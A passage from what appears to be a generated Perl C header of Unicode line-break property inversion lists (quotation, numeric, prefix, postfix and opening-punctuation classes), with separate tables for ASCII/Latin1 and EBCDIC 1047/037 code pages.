0x0, - 0x2C, - 0x2D, - 0x2E, - 0x2F, - 0x3A, - 0x3C, - 0x37E, - 0x37F, - 0x589, - 0x58A, - 0x60C, - 0x60E, - 0x7F8, - 0x7F9, - 0x2044, - 0x2045, - 0xFE10, - 0xFE11, - 0xFE13, - 0xFE15 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__IS_invlist[] = { /* for EBCDIC 1047 */ - 23, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4B, - 0x4C, - 0x5E, - 0x5F, - 0x6B, - 0x6C, - 0x7A, - 0x7B, - 0x37E, - 0x37F, - 0x589, - 0x58A, - 0x60C, - 0x60E, - 0x7F8, - 0x7F9, - 0x2044, - 0x2045, - 0xFE10, - 0xFE11, - 0xFE13, - 0xFE15 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__IS_invlist[] = { /* for EBCDIC 037 */ - 23, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4B, - 0x4C, - 0x5E, - 0x5F, - 0x6B, - 0x6C, - 0x7A, - 0x7B, - 0x37E, - 0x37F, - 0x589, - 0x58A, - 0x60C, - 0x60E, - 0x7F8, - 0x7F9, - 0x2044, - 0x2045, - 0xFE10, - 0xFE11, - 0xFE13, - 0xFE15 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_LB__LF_invlist[] = { /* for ASCII/Latin1 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA, - 0xB -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__LF_invlist[] = { /* for EBCDIC 1047 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x15, - 0x16 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__LF_invlist[] = { /* for EBCDIC 037 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x25, - 0x26 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_LB__NL_invlist[] = { /* for ASCII/Latin1 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x85, - 0x86 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__NL_invlist[] = { /* for EBCDIC 1047 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x25, - 0x26 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__NL_invlist[] = { /* for EBCDIC 037 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x15, - 0x16 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_LB__NS_invlist[] = { /* for all charsets */ - 35, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x17D6, - 0x17D7, - 0x203C, - 0x203E, - 0x2047, - 0x204A, - 0x3005, - 0x3006, - 0x301C, - 0x301D, - 0x303B, - 0x303D, - 0x309B, - 0x309F, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x30FD, - 0x30FF, - 0xA015, - 0xA016, - 0xFE54, - 0xFE56, - 0xFF1A, - 0xFF1C, - 0xFF65, - 0xFF66, - 0xFF9E, - 0xFFA0, - 0x16FE0, - 0x16FE2, - 0x1F679, - 0x1F67C -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_LB__NU_invlist[] = { /* for ASCII/Latin1 */ - 111, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x30, - 0x3A, - 0x660, - 0x66A, - 0x66B, - 0x66D, - 0x6F0, - 0x6FA, - 0x7C0, - 0x7CA, - 0x966, - 0x970, - 0x9E6, - 0x9F0, - 0xA66, - 0xA70, - 0xAE6, - 0xAF0, - 0xB66, - 0xB70, - 0xBE6, - 0xBF0, - 0xC66, - 0xC70, - 0xCE6, - 0xCF0, - 0xD66, - 0xD70, - 0xDE6, - 0xDF0, - 0xE50, - 0xE5A, - 0xED0, - 0xEDA, - 0xF20, - 0xF2A, - 0x1040, - 0x104A, - 0x1090, - 0x109A, - 0x17E0, - 0x17EA, - 0x1810, - 0x181A, - 0x1946, - 0x1950, - 0x19D0, - 0x19DA, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1B50, - 0x1B5A, - 0x1BB0, - 0x1BBA, - 0x1C40, - 0x1C4A, - 0x1C50, - 0x1C5A, - 0xA620, - 0xA62A, - 0xA8D0, - 0xA8DA, - 0xA900, - 0xA90A, - 0xA9D0, - 0xA9DA, - 0xA9F0, - 0xA9FA, - 0xAA50, - 0xAA5A, - 0xABF0, - 0xABFA, - 0x104A0, - 0x104AA, - 0x11066, - 0x11070, - 0x110F0, - 0x110FA, - 0x11136, - 0x11140, - 0x111D0, - 0x111DA, - 0x112F0, - 0x112FA, - 0x11450, - 0x1145A, - 0x114D0, - 0x114DA, - 0x11650, - 0x1165A, - 0x116C0, - 0x116CA, - 0x11730, - 0x1173A, - 0x118E0, - 0x118EA, - 0x11C50, - 0x11C5A, - 0x11D50, - 0x11D5A, - 0x16A60, - 0x16A6A, - 0x16B50, - 0x16B5A, - 0x1D7CE, - 0x1D800, - 0x1E950, - 0x1E95A -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__NU_invlist[] = { /* for EBCDIC 1047 */ - 111, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF0, - 0xFA, - 0x660, - 0x66A, - 0x66B, - 0x66D, - 0x6F0, - 0x6FA, - 0x7C0, - 0x7CA, - 0x966, - 0x970, - 0x9E6, - 0x9F0, - 0xA66, - 0xA70, - 0xAE6, - 0xAF0, - 0xB66, - 0xB70, - 0xBE6, - 0xBF0, - 0xC66, - 0xC70, - 0xCE6, - 0xCF0, - 0xD66, - 0xD70, - 0xDE6, - 0xDF0, - 0xE50, - 0xE5A, - 0xED0, - 0xEDA, - 0xF20, - 0xF2A, - 0x1040, - 0x104A, - 0x1090, - 0x109A, - 0x17E0, - 0x17EA, - 0x1810, - 0x181A, - 0x1946, - 0x1950, - 0x19D0, - 0x19DA, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1B50, - 0x1B5A, - 0x1BB0, - 0x1BBA, - 0x1C40, - 0x1C4A, - 0x1C50, - 0x1C5A, - 0xA620, - 0xA62A, - 0xA8D0, - 0xA8DA, - 0xA900, - 0xA90A, - 0xA9D0, - 0xA9DA, - 0xA9F0, - 0xA9FA, - 0xAA50, - 0xAA5A, - 0xABF0, - 0xABFA, - 0x104A0, - 0x104AA, - 0x11066, - 0x11070, - 0x110F0, - 0x110FA, - 0x11136, - 0x11140, - 0x111D0, - 0x111DA, - 0x112F0, - 0x112FA, - 0x11450, - 0x1145A, - 0x114D0, - 0x114DA, - 0x11650, - 0x1165A, - 0x116C0, - 0x116CA, - 0x11730, - 0x1173A, - 0x118E0, - 0x118EA, - 0x11C50, - 0x11C5A, - 0x11D50, - 0x11D5A, - 0x16A60, - 0x16A6A, - 0x16B50, - 0x16B5A, - 0x1D7CE, - 0x1D800, - 0x1E950, - 0x1E95A -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__NU_invlist[] = { /* for EBCDIC 037 */ - 111, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF0, - 0xFA, - 0x660, - 0x66A, - 0x66B, - 0x66D, - 0x6F0, - 0x6FA, - 0x7C0, - 0x7CA, - 0x966, - 0x970, - 0x9E6, - 0x9F0, - 0xA66, - 0xA70, - 0xAE6, - 0xAF0, - 0xB66, - 0xB70, - 0xBE6, - 0xBF0, - 0xC66, - 0xC70, - 0xCE6, - 0xCF0, - 0xD66, - 0xD70, - 0xDE6, - 0xDF0, - 0xE50, - 0xE5A, - 0xED0, - 0xEDA, - 0xF20, - 0xF2A, - 0x1040, - 0x104A, - 0x1090, - 0x109A, - 0x17E0, - 0x17EA, - 0x1810, - 0x181A, - 0x1946, - 0x1950, - 0x19D0, - 0x19DA, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1B50, - 0x1B5A, - 0x1BB0, - 0x1BBA, - 0x1C40, - 0x1C4A, - 0x1C50, - 0x1C5A, - 0xA620, - 0xA62A, - 0xA8D0, - 0xA8DA, - 0xA900, - 0xA90A, - 0xA9D0, - 0xA9DA, - 0xA9F0, - 0xA9FA, - 0xAA50, - 0xAA5A, - 0xABF0, - 0xABFA, - 0x104A0, - 0x104AA, - 0x11066, - 0x11070, - 0x110F0, - 0x110FA, - 0x11136, - 0x11140, - 0x111D0, - 0x111DA, - 0x112F0, - 0x112FA, - 0x11450, - 0x1145A, - 0x114D0, - 0x114DA, - 0x11650, - 0x1165A, - 0x116C0, - 0x116CA, - 0x11730, - 0x1173A, - 0x118E0, - 0x118EA, - 0x11C50, - 0x11C5A, - 0x11D50, - 0x11D5A, - 0x16A60, - 0x16A6A, - 0x16B50, - 0x16B5A, - 0x1D7CE, - 0x1D800, - 0x1E950, - 0x1E95A -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_LB__OP_invlist[] = { /* for ASCII/Latin1 */ - 169, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x28, - 0x29, - 0x5B, - 0x5C, - 0x7B, - 0x7C, - 0xA1, - 0xA2, - 0xBF, - 0xC0, - 0xF3A, - 0xF3B, - 0xF3C, - 0xF3D, - 0x169B, - 0x169C, - 0x201A, - 0x201B, - 0x201E, - 0x201F, - 0x2045, - 0x2046, - 0x207D, - 0x207E, - 0x208D, - 0x208E, - 0x2308, - 0x2309, - 0x230A, - 0x230B, - 0x2329, - 0x232A, - 0x2768, - 0x2769, - 0x276A, - 0x276B, - 0x276C, - 0x276D, - 0x276E, - 0x276F, - 0x2770, - 0x2771, - 0x2772, - 0x2773, - 0x2774, - 0x2775, - 0x27C5, - 0x27C6, - 0x27E6, - 0x27E7, - 0x27E8, - 0x27E9, - 0x27EA, - 0x27EB, - 0x27EC, - 0x27ED, - 0x27EE, - 0x27EF, - 0x2983, - 0x2984, - 0x2985, - 0x2986, - 0x2987, - 0x2988, - 0x2989, - 0x298A, - 0x298B, - 0x298C, - 0x298D, - 0x298E, - 0x298F, - 0x2990, - 0x2991, - 0x2992, - 0x2993, - 0x2994, - 0x2995, - 0x2996, - 0x2997, - 0x2998, - 0x29D8, - 0x29D9, - 0x29DA, - 0x29DB, - 0x29FC, - 0x29FD, - 0x2E18, - 0x2E19, - 0x2E22, - 0x2E23, - 0x2E24, - 0x2E25, - 0x2E26, - 0x2E27, - 0x2E28, - 0x2E29, - 0x2E42, - 0x2E43, - 0x3008, - 0x3009, - 0x300A, - 0x300B, - 0x300C, - 0x300D, - 0x300E, - 0x300F, - 0x3010, - 0x3011, - 0x3014, - 0x3015, - 0x3016, - 0x3017, - 0x3018, - 0x3019, - 0x301A, - 0x301B, - 0x301D, - 0x301E, - 0xFD3F, - 0xFD40, - 0xFE17, - 0xFE18, - 0xFE35, - 0xFE36, - 0xFE37, - 0xFE38, - 0xFE39, - 0xFE3A, - 0xFE3B, - 0xFE3C, - 0xFE3D, - 0xFE3E, - 0xFE3F, - 0xFE40, - 0xFE41, - 0xFE42, - 0xFE43, - 0xFE44, - 0xFE47, - 0xFE48, - 0xFE59, - 0xFE5A, - 0xFE5B, - 0xFE5C, - 0xFE5D, - 0xFE5E, - 0xFF08, - 0xFF09, - 0xFF3B, - 0xFF3C, - 0xFF5B, - 0xFF5C, - 0xFF5F, - 0xFF60, - 0xFF62, - 0xFF63, - 0x13258, - 0x1325B, - 0x13286, - 0x13287, - 0x13288, - 0x13289, - 0x13379, - 0x1337A, - 0x145CE, - 0x145CF, - 0x1E95E, - 0x1E960 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__OP_invlist[] = { /* for EBCDIC 1047 */ - 167, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4D, - 0x4E, - 0xAA, - 0xAC, - 0xAD, - 0xAE, - 0xC0, - 0xC1, - 0xF3A, - 0xF3B, - 0xF3C, - 0xF3D, - 0x169B, - 0x169C, - 0x201A, - 0x201B, - 0x201E, - 0x201F, - 0x2045, - 0x2046, - 0x207D, - 0x207E, - 0x208D, - 0x208E, - 0x2308, - 0x2309, - 0x230A, - 0x230B, - 0x2329, - 0x232A, - 0x2768, - 0x2769, - 0x276A, - 0x276B, - 0x276C, - 0x276D, - 0x276E, - 0x276F, - 0x2770, - 0x2771, - 0x2772, - 0x2773, - 0x2774, - 0x2775, - 0x27C5, - 0x27C6, - 0x27E6, - 0x27E7, - 0x27E8, - 0x27E9, - 0x27EA, - 0x27EB, - 0x27EC, - 0x27ED, - 0x27EE, - 0x27EF, - 0x2983, - 0x2984, - 0x2985, - 0x2986, - 0x2987, - 0x2988, - 0x2989, - 0x298A, - 0x298B, - 0x298C, - 0x298D, - 0x298E, - 0x298F, - 0x2990, - 0x2991, - 0x2992, - 0x2993, - 0x2994, - 0x2995, - 0x2996, - 0x2997, - 0x2998, - 0x29D8, - 0x29D9, - 0x29DA, - 0x29DB, - 0x29FC, - 0x29FD, - 0x2E18, - 0x2E19, - 0x2E22, - 0x2E23, - 0x2E24, - 0x2E25, - 0x2E26, - 0x2E27, - 0x2E28, - 0x2E29, - 0x2E42, - 0x2E43, - 0x3008, - 0x3009, - 0x300A, - 0x300B, - 0x300C, - 0x300D, - 0x300E, - 0x300F, - 0x3010, - 0x3011, - 0x3014, - 0x3015, - 0x3016, - 0x3017, - 0x3018, - 0x3019, - 0x301A, - 0x301B, - 0x301D, - 0x301E, - 0xFD3F, - 0xFD40, - 0xFE17, - 0xFE18, - 0xFE35, - 0xFE36, - 0xFE37, - 0xFE38, - 0xFE39, - 0xFE3A, - 0xFE3B, - 0xFE3C, - 0xFE3D, - 0xFE3E, - 0xFE3F, - 0xFE40, - 0xFE41, - 0xFE42, - 0xFE43, - 0xFE44, - 0xFE47, - 0xFE48, - 0xFE59, - 0xFE5A, - 0xFE5B, - 0xFE5C, - 0xFE5D, - 0xFE5E, - 0xFF08, - 0xFF09, - 0xFF3B, - 0xFF3C, - 0xFF5B, - 0xFF5C, - 0xFF5F, - 0xFF60, - 0xFF62, - 0xFF63, - 0x13258, - 0x1325B, - 0x13286, - 0x13287, - 0x13288, - 0x13289, - 0x13379, - 0x1337A, - 0x145CE, - 0x145CF, - 0x1E95E, - 0x1E960 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__OP_invlist[] = { /* for EBCDIC 037 */ - 167, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4D, - 0x4E, - 0xAA, - 0xAC, - 0xBA, - 0xBB, - 0xC0, - 0xC1, - 0xF3A, - 0xF3B, - 0xF3C, - 0xF3D, - 0x169B, - 0x169C, - 0x201A, - 0x201B, - 0x201E, - 0x201F, - 0x2045, - 0x2046, - 0x207D, - 0x207E, - 0x208D, - 0x208E, - 0x2308, - 0x2309, - 0x230A, - 0x230B, - 0x2329, - 0x232A, - 0x2768, - 0x2769, - 0x276A, - 0x276B, - 0x276C, - 0x276D, - 0x276E, - 0x276F, - 0x2770, - 0x2771, - 0x2772, - 0x2773, - 0x2774, - 0x2775, - 0x27C5, - 0x27C6, - 0x27E6, - 0x27E7, - 0x27E8, - 0x27E9, - 0x27EA, - 0x27EB, - 0x27EC, - 0x27ED, - 0x27EE, - 0x27EF, - 0x2983, - 0x2984, - 0x2985, - 0x2986, - 0x2987, - 0x2988, - 0x2989, - 0x298A, - 0x298B, - 0x298C, - 0x298D, - 0x298E, - 0x298F, - 0x2990, - 0x2991, - 0x2992, - 0x2993, - 0x2994, - 0x2995, - 0x2996, - 0x2997, - 0x2998, - 0x29D8, - 0x29D9, - 0x29DA, - 0x29DB, - 0x29FC, - 0x29FD, - 0x2E18, - 0x2E19, - 0x2E22, - 0x2E23, - 0x2E24, - 0x2E25, - 0x2E26, - 0x2E27, - 0x2E28, - 0x2E29, - 0x2E42, - 0x2E43, - 0x3008, - 0x3009, - 0x300A, - 0x300B, - 0x300C, - 0x300D, - 0x300E, - 0x300F, - 0x3010, - 0x3011, - 0x3014, - 0x3015, - 0x3016, - 0x3017, - 0x3018, - 0x3019, - 0x301A, - 0x301B, - 0x301D, - 0x301E, - 0xFD3F, - 0xFD40, - 0xFE17, - 0xFE18, - 0xFE35, - 0xFE36, - 0xFE37, - 0xFE38, - 0xFE39, - 0xFE3A, - 0xFE3B, - 0xFE3C, - 0xFE3D, - 0xFE3E, - 0xFE3F, - 0xFE40, - 0xFE41, - 0xFE42, - 0xFE43, - 0xFE44, - 0xFE47, - 0xFE48, - 0xFE59, - 0xFE5A, - 0xFE5B, - 0xFE5C, - 0xFE5D, - 0xFE5E, - 0xFF08, - 0xFF09, - 0xFF3B, - 0xFF3C, - 0xFF5B, - 0xFF5C, - 0xFF5F, - 0xFF60, - 0xFF62, - 0xFF63, - 0x13258, - 0x1325B, - 0x13286, - 0x13287, - 0x13288, - 0x13289, - 0x13379, - 0x1337A, - 0x145CE, - 0x145CF, - 0x1E95E, - 0x1E960 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_LB__PO_invlist[] = { /* for ASCII/Latin1 */ - 41, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x25, - 0x26, - 0xA2, - 0xA3, - 0xB0, - 0xB1, - 0x609, - 0x60C, - 0x66A, - 0x66B, - 0x9F2, - 0x9F4, - 0x9F9, - 0x9FA, - 0xD79, - 0xD7A, - 0x2030, - 0x2038, - 0x20A7, - 0x20A8, - 0x20B6, - 0x20B7, - 0x20BB, - 0x20BC, - 0x20BE, - 0x20BF, - 0x2103, - 0x2104, - 0x2109, - 0x210A, - 0xA838, - 0xA839, - 0xFDFC, - 0xFDFD, - 0xFE6A, - 0xFE6B, - 0xFF05, - 0xFF06, - 0xFFE0, - 0xFFE1 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__PO_invlist[] = { /* for EBCDIC 1047 */ - 41, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4A, - 0x4B, - 0x6C, - 0x6D, - 0x90, - 0x91, - 0x609, - 0x60C, - 0x66A, - 0x66B, - 0x9F2, - 0x9F4, - 0x9F9, - 0x9FA, - 0xD79, - 0xD7A, - 0x2030, - 0x2038, - 0x20A7, - 0x20A8, - 0x20B6, - 0x20B7, - 0x20BB, - 0x20BC, - 0x20BE, - 0x20BF, - 0x2103, - 0x2104, - 0x2109, - 0x210A, - 0xA838, - 0xA839, - 0xFDFC, - 0xFDFD, - 0xFE6A, - 0xFE6B, - 0xFF05, - 0xFF06, - 0xFFE0, - 0xFFE1 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__PO_invlist[] = { /* for EBCDIC 037 */ - 41, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4A, - 0x4B, - 0x6C, - 0x6D, - 0x90, - 0x91, - 0x609, - 0x60C, - 0x66A, - 0x66B, - 0x9F2, - 0x9F4, - 0x9F9, - 0x9FA, - 0xD79, - 0xD7A, - 0x2030, - 0x2038, - 0x20A7, - 0x20A8, - 0x20B6, - 0x20B7, - 0x20BB, - 0x20BC, - 0x20BE, - 0x20BF, - 0x2103, - 0x2104, - 0x2109, - 0x210A, - 0xA838, - 0xA839, - 0xFDFC, - 0xFDFD, - 0xFE6A, - 0xFE6B, - 0xFF05, - 0xFF06, - 0xFFE0, - 0xFFE1 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_LB__PR_invlist[] = { /* for ASCII/Latin1 */ - 45, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x24, - 0x25, - 0x2B, - 0x2C, - 0x5C, - 0x5D, - 0xA3, - 0xA6, - 0xB1, - 0xB2, - 0x58F, - 0x590, - 0x9FB, - 0x9FC, - 0xAF1, - 0xAF2, - 0xBF9, - 0xBFA, - 0xE3F, - 0xE40, - 0x17DB, - 0x17DC, - 0x20A0, - 0x20A7, - 0x20A8, - 0x20B6, - 0x20B7, - 0x20BB, - 0x20BC, - 0x20BE, - 0x20BF, - 0x20D0, - 0x2116, - 0x2117, - 0x2212, - 0x2214, - 0xFE69, - 0xFE6A, - 0xFF04, - 0xFF05, - 0xFFE1, - 0xFFE2, - 0xFFE5, - 0xFFE7 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__PR_invlist[] = { /* for EBCDIC 1047 */ - 47, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4E, - 0x4F, - 0x5B, - 0x5C, - 0x8F, - 0x90, - 0x9F, - 0xA0, - 0xB1, - 0xB3, - 0xE0, - 0xE1, - 0x58F, - 0x590, - 0x9FB, - 0x9FC, - 0xAF1, - 0xAF2, - 0xBF9, - 0xBFA, - 0xE3F, - 0xE40, - 0x17DB, - 0x17DC, - 0x20A0, - 0x20A7, - 0x20A8, - 0x20B6, - 0x20B7, - 0x20BB, - 0x20BC, - 0x20BE, - 0x20BF, - 0x20D0, - 0x2116, - 0x2117, - 0x2212, - 0x2214, - 0xFE69, - 0xFE6A, - 0xFF04, - 0xFF05, - 0xFFE1, - 0xFFE2, - 0xFFE5, - 0xFFE7 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__PR_invlist[] = { /* for EBCDIC 037 */ - 47, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4E, - 0x4F, - 0x5B, - 0x5C, - 0x8F, - 0x90, - 0x9F, - 0xA0, - 0xB1, - 0xB3, - 0xE0, - 0xE1, - 0x58F, - 0x590, - 0x9FB, - 0x9FC, - 0xAF1, - 0xAF2, - 0xBF9, - 0xBFA, - 0xE3F, - 0xE40, - 0x17DB, - 0x17DC, - 0x20A0, - 0x20A7, - 0x20A8, - 0x20B6, - 0x20B7, - 0x20BB, - 0x20BC, - 0x20BE, - 0x20BF, - 0x20D0, - 0x2116, - 0x2117, - 0x2212, - 0x2214, - 0xFE69, - 0xFE6A, - 0xFF04, - 0xFF05, - 0xFFE1, - 0xFFE2, - 0xFFE5, - 0xFFE7 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_LB__QU_invlist[] = { /* for ASCII/Latin1 */ - 27, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x22, - 0x23, - 0x27, - 0x28, - 0xAB, - 0xAC, - 0xBB, - 0xBC, - 0x2018, - 0x201A, - 0x201B, - 0x201E, - 0x201F, - 0x2020, - 0x2039, - 0x203B, - 0x275B, - 0x2761, - 0x2E00, - 0x2E0E, - 0x2E1C, - 0x2E1E, - 0x2E20, - 0x2E22, - 0x1F676, - 0x1F679 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__QU_invlist[] = { /* for EBCDIC 1047 */ - 25, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x7D, - 0x7E, - 0x7F, - 0x80, - 0x8A, - 0x8C, - 0x2018, - 0x201A, - 0x201B, - 0x201E, - 0x201F, - 0x2020, - 0x2039, - 0x203B, - 0x275B, - 0x2761, - 0x2E00, - 0x2E0E, - 0x2E1C, - 0x2E1E, - 0x2E20, - 0x2E22, - 0x1F676, - 0x1F679 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__QU_invlist[] = { /* for EBCDIC 037 */ - 25, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if 